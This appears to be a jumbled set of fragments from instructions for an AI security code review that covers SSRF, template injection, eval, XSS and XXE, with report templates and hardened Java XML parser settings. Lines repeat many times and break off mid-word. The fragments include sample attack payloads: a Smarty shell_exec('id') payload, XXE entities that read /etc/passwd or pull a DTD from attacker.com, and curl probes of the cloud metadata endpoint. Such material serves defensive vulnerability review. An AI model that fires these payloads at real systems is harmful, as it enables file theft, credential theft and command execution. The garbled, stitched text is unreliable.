> 11. **Shell-out to network tools** (via subprocess, exec, system, etc.): >     - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])` >     - `os.system("curl " + url)`, `exec("wget " + url)`

>     - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])`

>     - `os.system("curl " + url)`, `exec("wget " + url)`

>     - `os.system("curl " + url)`, `exec("wget " + url)`

> > **What to skip** (these are safe — do not flag): > - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")`

> **What to skip** (these are safe — do not flag): > - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")` > - Internal loopback connections to `l

> - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")`

> - **File**: `path/to/file.ext` (lines X-Y) > - **Function / endpoint**: [function name or route] > - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.]

> - **Function / endpoint**: [function name or route] > - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.] > - **Library / method**: [requests.get / fetch / http.Get / curl_exec / etc.]

> - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.]

> > 2. **Indirect / assembled destination** — the URL is built by concatenating a hardcoded prefix with a user-supplied suffix or path: >    - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme inje

> 2. **Indirect / assembled destination** — the URL is built by concatenating a hardcoded prefix with a user-supplied suffix or path: >    - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme inject

>    - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme injection depending on the HTTP client

> **For each call site, also check for mitigations**: > - **Strict allowlist of hosts/prefixes**: A hardcoded set of permitted hostnames or URL prefixes that the destination is validated against before the request is made — this is an effec

> - **Strict allowlist of hosts/prefixes**: A hardcoded set of permitted hostnames or URL prefixes that the destination is validated against before the request is made — this is an effective mitigation. Mark as Not Vulnerable. > - **Scheme-

> - **Scheme-only restriction** (e.g., only allow `https://`): Partial mitigation — reduces impact but does not prevent SSRF to arbitrary HTTPS hosts. Still flag as Likely Vulnerable.

> - **File**: `path/to/file.ext` (lines X-Y) > - **Endpoint / function**: [route or function name] > - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"]

> - **Endpoint / function**: [route or function name] > - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"] > - **Taint trace**: [Step-by-step from entry point to the call site — e.g., "request.args.get('url') →

> - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"]

> - **Taint trace**: [Step-by-step from entry point to the call site — e.g., "request.args.get('url') → target_url → requests.get(target_url)"]

> - **Dynamic Test**: >   ``` >   [curl command or payload to confirm the finding.

>   ``` >   [curl command or payload to confirm the finding. >    Show the parameter, payload, and what to look for.

>   [curl command or payload to confirm the finding.

>    Show the parameter, payload, and what to look for. >    Example: curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/" >    or for internal pivot: curl "https://app.example.com/fetch?url=http://internal-db:5

>    Example: curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/"

>    or for internal pivot: curl "https://app.example.com/fetch?url=http://internal-db:5432/"]

- **Partial URL control is still dangerous**: even if the attacker only controls the path or query string portion of the URL, flag it as Likely Vulnerable — depending on the HTTP client behavior, redirect following, and target service, part

- **Stored destinations are tainted**: if a URL or hostname was accepted from user input at write time and is later used for an outbound request, trace the write-time acceptance. Lack of allowlist validation at write time makes it SSRF. - *

- **Subprocess curl/wget is SSRF too**: shell-outs that run `curl` or `wget` with a user-supplied URL are just as dangerous as HTTP client calls. Check for these, especially in image-processing, import, or download features.

- `thymeleafEngine.process(user_input, ctx)` — Thymeleaf (Java)   - `\Twig\Environment::createTemplate(user_input)->render(ctx)` — Twig (PHP)   - `$smarty->fetch("string:" . user_input)` — Smarty (PHP)

- `\Twig\Environment::createTemplate(user_input)->render(ctx)` — Twig (PHP)   - `$smarty->fetch("string:" . user_input)` — Smarty (PHP)   - `Liquid::Template.parse(user_input).render(ctx)` — Liquid (Ruby)

- `$smarty->fetch("string:" . user_input)` — Smarty (PHP)

// VULNERABLE: user-controlled template string via fetch("string:...")

$template = $_GET['tmpl']; $smarty->fetch("string:" . $template); // Payload: {php}echo shell_exec('id');{/php}

$smarty->fetch("string:" . $template);

> > 16. **PHP — Smarty**: >     - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)`

> 16. **PHP — Smarty**: >     - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)` >     - `$smarty->fetch($var)` where var may contain a "string:" prefix

>     - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)`

>     - `$smarty->fetch($var)` where var may contain a "string:" prefix

- `eval(var)`

eval(event.data);

>    - `eval(var)`

> - **Dynamic Test**: >   ``` >   [curl command or browser payload to confirm the finding.

>   ``` >   [curl command or browser payload to confirm the finding. >    Show the exact parameter, payload, and what to observe.

>   [curl command or browser payload to confirm the finding.

>    Show the exact parameter, payload, and what to observe. >    Example: curl "https://app.example.com/search?q=<script>alert(1)</script>" >    Or: Visit https://app.example.com/#<img src=x onerror=alert(1)> and observe alert box]

>    Example: curl "https://app.example.com/search?q=<script>alert(1)</script>"

>    Or: Visit https://app.example.com/#<img src=x onerror=alert(1)> and observe alert box]

- XML parsed with external entity resolution **enabled by default** and no explicit hardening applied - `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">`

- `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">`

- DTD processing not explicitly disabled in parsers where it is on by default (Java DOM/SAX, PHP SimpleXML/DOMDocument, libxml2-backed parsers) - Parameter entity injection in DTDs: `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xx

- Parameter entity injection in DTDs: `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;`

- XInclude injection when XInclude processing is enabled - SSRF via XXE: using `http://` or `https://` external entity URLs to reach internal services - Blind XXE via out-of-band exfiltration (DNS, HTTP callback to attacker-controlled serve

- SSRF via XXE: using `http://` or `https://` external entity URLs to reach internal services

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://xml.org/sax/features/external-general-entities", false);

spf.setFeature("http://xml.org/sax/features/external-general-entities", false);

spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {     DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();     dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();     dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);     dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

// SECURE: disable external entities SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://xml.org/sax/features/external-general-entities", false);

SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

factory.setFeature("http://xml.org/sax/features/external-general-entities", false);

factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

> - **Dynamic Test**: >   ``` >   [curl command or payload to confirm the finding.

>   ``` >   [curl command or payload to confirm the finding. >    Show the exact endpoint, Content-Type header, and XXE payload.

>   [curl command or payload to confirm the finding.

>    Show the exact endpoint, Content-Type header, and XXE payload. >    Example: >    curl -X POST https://app.example.com/api/import \

>    Example: >    curl -X POST https://app.example.com/api/import \ >      -H "Content-Type: application/xml" \

>    curl -X POST https://app.example.com/api/import \